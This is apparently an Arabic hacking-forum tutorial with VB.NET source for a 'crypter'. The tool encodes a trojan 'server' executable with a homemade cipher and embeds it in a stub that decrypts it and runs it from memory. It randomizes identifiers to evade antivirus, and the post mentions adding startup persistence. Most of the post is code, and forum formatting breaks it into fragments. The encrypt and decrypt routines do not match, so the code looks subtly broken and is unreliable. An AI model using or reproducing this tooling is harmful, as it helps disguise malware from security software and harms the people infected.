ألسلام عليكم ورحمة الله وبركاته
كيف حالك احبتي _ ماذا تفعلون .
ونمضي قدما للطرح المواضيع التي تخص التشفير وكشف المستور .. لماذا تنتظر احدهم ليعطيك برنامج تشفير جاهز ؟؟ لماذا تتسائل كيف له بكتابه هذا البرنامج ؟؟ مين اتى بهذى الكود ..
حاولت ولم تنجح معي ؟... سنجاوب على جميع الاسأله في سلسله صنع برامج التشفير ..
تعتمد برامج التشفير على نوعان النوع الاول وهو برنامج يقوم بتشفير عن طريق setup في الرسورس
الطريقه الثانيه وهي محور شرحنا لهذا الليوم وهي طريقه التشفير المرئي بالعتماد على اخذ ناتج التشفير من exe وتحويله الى نص جاهز ما عليك سوى عمل بلدر للسيرفر ....
الطريقه ليست بالصعبه هي اسهل مما تتصور بكثير .. لماذا لآنني سأرفق لكم خورزميات تشفر
وتقوم بالتطبيق عليها الخورزميه المستخدمه في الشرح هي من كتابتي الخاصه هي خورزميه بسيطه جدا تحتوي على فنكشن من نوع سترينج ومفتاح تشفير بأسلوب ascii و chr
نبداء بالتطبيق العملي على ما ذكر في فيديو ولن اطرح السورس جاهز حتى اجبر الاغلبيه على كتابه السورس بأنفسهم واعدم الحاجه الى البرامج وتستطيع اضافه اكواد كثيره على البرنامج وذالك بستخدام نفس الطريقه ك sleep و اضافه السيرفر على ستارت اب
هو ليس بلآمر الصعب اتمنى من الجميع اعطاء نتائج جيده
وتستطيع استخدام اي خورزميه بنفس الطريقه دمتم بخير وعلى هذا نمشي على نهج
لا تطعمني السمكه بل علمني كيف اسطادها ...
نقوم بالبدايه بفتح مشروع جديد يحتوي على فورم و زر عدد 2 و 3 textbox بلآضافه على
chekbox 2
كما هو موضح
نقوم بالشغط على الزر الاول ووضع كود جلب مسار الملف المراد تشفيره وعرض المسار في textbox1
- الكود:
-
Dim
- الكود:
-
hazem
- الكود:
-
As
- الكود:
-
New
- الكود:
-
OpenFileDialog
- الكود:
-
With
- الكود:
-
hazem
- الكود:
-
.Filter =
- الكود:
-
"|*.exe"
- الكود:
-
.ShowDialog()
- الكود:
-
End
- الكود:
-
With
- الكود:
-
FlatTextBox1.Text = hazem.FileName
نقوم بستدعا ء الفضاء
كود Visual Basic
?1 2 | - الكود:
-
Imports - الكود:
-
System.IO - الكود:
-
Imports - الكود:
-
System.Text |
نقوم بوضع هذا الكود في ملف txt ومن ثم وضعه بالرسورس بأي اسم حتى نستدعيه ونقوم بالتعديل عليه بستبدال المتغيرات وقيم السيرفر المشفر بالخورزميه بالمكان الصحيح للكود وفيه خورزميه فك التشفير التي اعتمدنا عليها وبغض النظر عن هذه الخورزميه تستطيع استخدام اي خورزميه تشفير وناتج الخورزميه في الشرح كلين ..
كود Visual Basic
?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | - الكود:
-
Module - الكود:
-
%10% - الكود:
-
Sub - الكود:
-
main() - الكود:
-
Dim - الكود:
-
%11% - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
"%1%" - الكود:
-
Dim - الكود:
-
%4% - الكود:
-
As - الكود:
-
Byte - الكود:
-
() = Convert.FromBase64String(%3%(%11% , - الكود:
-
"%2%" - الكود:
-
)) - الكود:
-
Dim - الكود:
-
%5% - الكود:
-
As - الكود:
-
System.Reflection. - الكود:
-
Assembly - الكود:
-
= System.Reflection. - الكود:
-
Assembly - الكود:
-
.Load(%4%) - الكود:
-
%5%.EntryPoint.Invoke( - الكود:
-
Nothing - الكود:
-
, - الكود:
-
Nothing - الكود:
-
) - الكود:
-
End - الكود:
-
Sub - الكود:
-
Public - الكود:
-
Function - الكود:
-
%3%(%6% - الكود:
-
As - الكود:
-
String - الكود:
-
, - الكود:
-
ByVal - الكود:
-
%7% - الكود:
-
As - الكود:
-
String - الكود:
-
) - الكود:
-
As - الكود:
-
String - الكود:
-
On - الكود:
-
Error - الكود:
-
Resume - الكود:
-
Next - الكود:
-
Dim - الكود:
-
i, %8%, %9% - الكود:
-
As - الكود:
-
Integer - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(%7%) - الكود:
-
%8% = %8% + Asc(Mid(%7%, i, i-1)) - الكود:
-
Next - الكود:
-
i - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(%6%) - الكود:
-
%9% = Asc(Mid(%6%, i, i-1)) - %8% - الكود:
-
Mod - الكود:
-
255 - الكود:
-
%3% = %3% & Chr(%9%) - الكود:
-
Next - الكود:
-
i - الكود:
-
End - الكود:
-
Function - الكود:
-
End - الكود:
-
Module |
نقوم الان بتضغط على زر 2 وهو الزر الخاص بالتشفير ووضع هذا الكود عليه وهو عباره عن
تحويل تحويل ملف الموجود بالمسار txtbox1 الى قيم Base64String ومن ثم استخدام خورزميه التشفير بتحويل قيم ال Base64String الى احرف مشفره بمفتاح الذي تضعه في textbox3 وهي عباره عن ارقام لا تتجاوز 97 رقم على قاعده acsii طبعا لكل خورزميه طريقه بالأستخدام ومن ثم نقوم بستبدال المتغيرات في تكست رسورس بألقيم المشفره
وعرض الناتج في RichTextBox لماذا اخترنا RichTextBox ببساطه لآن RichTextBox يحمل عدد احرف 2147483647 حتى اذا كان السيرفر كبير يستطيع عرض كل القيم علما أن textbox لا يعرض اكثر من 32767 وهذا امور يقع بها البعض في التشفير ولتجاوز الخطاء نستخدمRichTextBox لعرض القيم المشفره ...
بعد ذالك نستخدم كود توليد الاحرف العشواءيه للمتغيرات الفنكسن والسب وذالك يساعد على تمويه بعض الحمايات والقضاء عليها
كود Visual Basic
?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | - الكود:
-
If - الكود:
-
FlatCheckBox2.Checked - الكود:
-
Then - الكود:
-
Dim - الكود:
-
sam - الكود:
-
As - الكود:
-
String - الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text)) - الكود:
-
Dim - الكود:
-
sam1 - الكود:
-
As - الكود:
-
String - الكود:
-
= haz(sam, FlatTextBox2.Text) - الكود:
-
Dim - الكود:
-
sam3 - الكود:
-
As - الكود:
-
String - الكود:
-
= My.Resources.hazem - الكود:
-
Dim - الكود:
-
sam4 - الكود:
-
As - الكود:
-
String - الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, cc(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, cc(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, cc(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, cc(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, cc(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, cc(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, cc(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, cc(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, cc(22)) - الكود:
-
r1.Text = sam4 - الكود:
-
End - الكود:
-
If - الكود:
-
If - الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then - الكود:
-
If - الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then - الكود:
-
Dim - الكود:
-
sam - الكود:
-
As - الكود:
-
String - الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text)) - الكود:
-
Dim - الكود:
-
sam1 - الكود:
-
As - الكود:
-
String - الكود:
-
= haz(sam, FlatTextBox2.Text) - الكود:
-
Dim - الكود:
-
sam3 - الكود:
-
As - الكود:
-
String - الكود:
-
= My.Resources.hazem - الكود:
-
Dim - الكود:
-
sam4 - الكود:
-
As - الكود:
-
String - الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, dd(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, dd(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, dd(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, dd(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, dd(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, dd(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, dd(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, dd(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, dd(22)) - الكود:
-
r1.Text = sam4 - الكود:
-
End - الكود:
-
If - الكود:
-
End - الكود:
-
If - الكود:
-
End - الكود:
-
Sub |
ملاحظه قما بوضع كود التشفير ب If CheckBox1.Checked Then حتى نقوم بفصل قيم المتغيرات المشفره ب كود توليد من احرف مختلفه وهذه مفيده
كود التوليد معروف للجميع
كود Visual Basic
?1 2 3 4 5 6 7 8 9 10 11 | - الكود:
-
Public - الكود:
-
Function - الكود:
-
cc( - الكود:
-
ByVal - الكود:
-
len - الكود:
-
As - الكود:
-
Long - الكود:
-
) - الكود:
-
Dim - الكود:
-
rnd - الكود:
-
As - الكود:
-
New - الكود:
-
Random - الكود:
-
Dim - الكود:
-
arb - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM" - الكود:
-
Dim - الكود:
-
result - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
Nothing - الكود:
-
For - الكود:
-
i = 0 - الكود:
-
To - الكود:
-
len - الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length)) - الكود:
-
Next - الكود:
-
Return - الكود:
-
result - الكود:
-
End - الكود:
-
Function |
كود خورزميه التشفير داخل المشورع وفك التشفيير تكون في التكست رسورس لآننا سوف تقوم بفك التشفير عند تشغيل السيرفر في الذاكره ولا يجوز استخدامها في مشروع السيرفر
كود Visual Basic
?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | - الكود:
-
Public - الكود:
-
Function - الكود:
-
haz(data - الكود:
-
As - الكود:
-
String - الكود:
-
, - الكود:
-
ByVal - الكود:
-
kye - الكود:
-
As - الكود:
-
String - الكود:
-
) - الكود:
-
As - الكود:
-
String - الكود:
-
On - الكود:
-
Error - الكود:
-
Resume - الكود:
-
Next - الكود:
-
Dim - الكود:
-
i, ikey, idata - الكود:
-
As - الكود:
-
Integer - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(kye) - الكود:
-
ikey = ikey + Asc(Mid(kye, i, i + 1)) - الكود:
-
Next - الكود:
-
i - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(data) - الكود:
-
idata = Asc(Mid(data, i, i + 1)) + ikey - الكود:
-
Mod - الكود:
-
255 - الكود:
-
haz = haz & Chr(idata) - الكود:
-
Next - الكود:
-
i - الكود:
-
End - الكود:
-
Function |
وبعد اكتماب البرنامج سوف يظهر على النحور التاليكود Visual Basic
?1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | - الكود:
-
Imports - الكود:
-
System.IO - الكود:
-
Imports - الكود:
-
System.Text - الكود:
-
Public - الكود:
-
Class - الكود:
-
Form1 - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton1_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton1.Click - الكود:
-
If - الكود:
-
FlatCheckBox2.Checked - الكود:
-
Then - الكود:
-
Dim - الكود:
-
sam - الكود:
-
As - الكود:
-
String - الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text)) - الكود:
-
Dim - الكود:
-
sam1 - الكود:
-
As - الكود:
-
String - الكود:
-
= haz(sam, FlatTextBox2.Text) - الكود:
-
Dim - الكود:
-
sam3 - الكود:
-
As - الكود:
-
String - الكود:
-
= My.Resources.hazem - الكود:
-
Dim - الكود:
-
sam4 - الكود:
-
As - الكود:
-
String - الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, cc(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, cc(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, cc(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, cc(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, cc(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, cc(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, cc(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, cc(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, cc(22)) - الكود:
-
r1.Text = sam4 - الكود:
-
End - الكود:
-
If - الكود:
-
If - الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then - الكود:
-
If - الكود:
-
FlatCheckBox1.Checked - الكود:
-
Then - الكود:
-
Dim - الكود:
-
sam - الكود:
-
As - الكود:
-
String - الكود:
-
= Convert.ToBase64String(IO.File.ReadAllBytes(FlatTextBox1.Text)) - الكود:
-
Dim - الكود:
-
sam1 - الكود:
-
As - الكود:
-
String - الكود:
-
= haz(sam, FlatTextBox2.Text) - الكود:
-
Dim - الكود:
-
sam3 - الكود:
-
As - الكود:
-
String - الكود:
-
= My.Resources.hazem - الكود:
-
Dim - الكود:
-
sam4 - الكود:
-
As - الكود:
-
String - الكود:
-
sam4 = sam3.Replace( - الكود:
-
"%1%" - الكود:
-
, sam1).Replace( - الكود:
-
"%2%" - الكود:
-
, FlatTextBox2.Text).Replace( - الكود:
-
"%3%" - الكود:
-
, dd(4)).Replace( - الكود:
-
"%5%" - الكود:
-
, dd(8)).Replace( - الكود:
-
"%6%" - الكود:
-
, dd(10)).Replace( - الكود:
-
"%7%" - الكود:
-
, dd(12)).Replace( - الكود:
-
"%8%" - الكود:
-
, dd(14)).Replace( - الكود:
-
"%9%" - الكود:
-
, dd(16)).Replace( - الكود:
-
"%10%" - الكود:
-
, dd(18)).Replace( - الكود:
-
"%4%" - الكود:
-
, dd(20)).Replace( - الكود:
-
"%11%" - الكود:
-
, dd(22)) - الكود:
-
r1.Text = sam4 - الكود:
-
End - الكود:
-
If - الكود:
-
End - الكود:
-
If - الكود:
-
End - الكود:
-
Sub - الكود:
-
Public - الكود:
-
Function - الكود:
-
cc( - الكود:
-
ByVal - الكود:
-
len - الكود:
-
As - الكود:
-
Long - الكود:
-
) - الكود:
-
Dim - الكود:
-
rnd - الكود:
-
As - الكود:
-
New - الكود:
-
Random - الكود:
-
Dim - الكود:
-
arb - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
"dGkjBoOiIuUhHgGyYrRnMkLlKUeEwWqQvVcCnNxXzZmM" - الكود:
-
Dim - الكود:
-
result - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
Nothing - الكود:
-
For - الكود:
-
i = 0 - الكود:
-
To - الكود:
-
len - الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length)) - الكود:
-
Next - الكود:
-
Return - الكود:
-
result - الكود:
-
End - الكود:
-
Function - الكود:
-
Public - الكود:
-
Function - الكود:
-
dd( - الكود:
-
ByVal - الكود:
-
len - الكود:
-
As - الكود:
-
Long - الكود:
-
) - الكود:
-
Dim - الكود:
-
rnd - الكود:
-
As - الكود:
-
New - الكود:
-
Random - الكود:
-
Dim - الكود:
-
arb - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
"好裡的你弟的去我去你愛好嗎你兄孩去我兄的去弟好哪孩弟的親親哪我裡的哪去好好我去好的的的弟男你哪裡孩兄裡你的好哪好哪去哪弟你好的兄男你嗎的男男男你弟男你男好好孩愛愛你孩愛兄你的孩弟裡的" - الكود:
-
Dim - الكود:
-
result - الكود:
-
As - الكود:
-
String - الكود:
-
= - الكود:
-
Nothing - الكود:
-
For - الكود:
-
i = 0 - الكود:
-
To - الكود:
-
len - الكود:
-
result = result & arb(rnd. - الكود:
-
Next - الكود:
-
(arb.Length)) - الكود:
-
Next - الكود:
-
Return - الكود:
-
result - الكود:
-
End - الكود:
-
Function - الكود:
-
Public - الكود:
-
Function - الكود:
-
haz(data - الكود:
-
As - الكود:
-
String - الكود:
-
, - الكود:
-
ByVal - الكود:
-
kye - الكود:
-
As - الكود:
-
String - الكود:
-
) - الكود:
-
As - الكود:
-
String - الكود:
-
On - الكود:
-
Error - الكود:
-
Resume - الكود:
-
Next - الكود:
-
Dim - الكود:
-
i, ikey, idata - الكود:
-
As - الكود:
-
Integer - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(kye) - الكود:
-
ikey = ikey + Asc(Mid(kye, i, i + 1)) - الكود:
-
Next - الكود:
-
i - الكود:
-
For - الكود:
-
i = 1 - الكود:
-
To - الكود:
-
Len(data) - الكود:
-
idata = Asc(Mid(data, i, i + 1)) + ikey - الكود:
-
Mod - الكود:
-
255 - الكود:
-
haz = haz & Chr(idata) - الكود:
-
Next - الكود:
-
i - الكود:
-
End - الكود:
-
Function - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatClose1_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatClose1.Click - الكود:
-
Me - الكود:
-
.Close() - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton2_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton2.Click - الكود:
-
Dim - الكود:
-
hazem - الكود:
-
As - الكود:
-
New - الكود:
-
OpenFileDialog - الكود:
-
With - الكود:
-
hazem - الكود:
-
.Filter = - الكود:
-
"|*.exe" - الكود:
-
.ShowDialog() - الكود:
-
End - الكود:
-
With - الكود:
-
FlatTextBox1.Text = hazem.FileName - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatLabel1_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatLabel1.Click - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FormSkin1_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FormSkin1.Click - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton3_Click(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton3.Click - الكود:
-
r1.SelectAll() - الكود:
-
r1.Copy() - الكود:
-
FlatLabel2.Text = - الكود:
-
"Copies have been successfully" - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton1_Click_1(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton1.Click - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton1_Click_2(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton1.Click - الكود:
-
End - الكود:
-
Sub - الكود:
-
Private - الكود:
-
Sub - الكود:
-
FlatButton2_Click_1(sender - الكود:
-
As - الكود:
-
Object - الكود:
-
, e - الكود:
-
As - الكود:
-
EventArgs) - الكود:
-
Handles - الكود:
-
FlatButton2.Click - الكود:
-
End - الكود:
-
Sub - الكود:
-
End - الكود:
-
Class |
صوره من البرنامج
| تم تصغير حجم الصورة تلقائياً لسهولة التصفّح , اضغط هنا لمشاهدتها بالحجم الطبيعي 1220x693. |
المشروع لمن يريد البرنامج جاهز والتعرف على الكود كامل مع الثيم
دمتم بخير والسلام عليكم ورحمه الله الموضوع اهداء الى جميع من شارك في الموضوع اتقبل اي نقد بناء سلام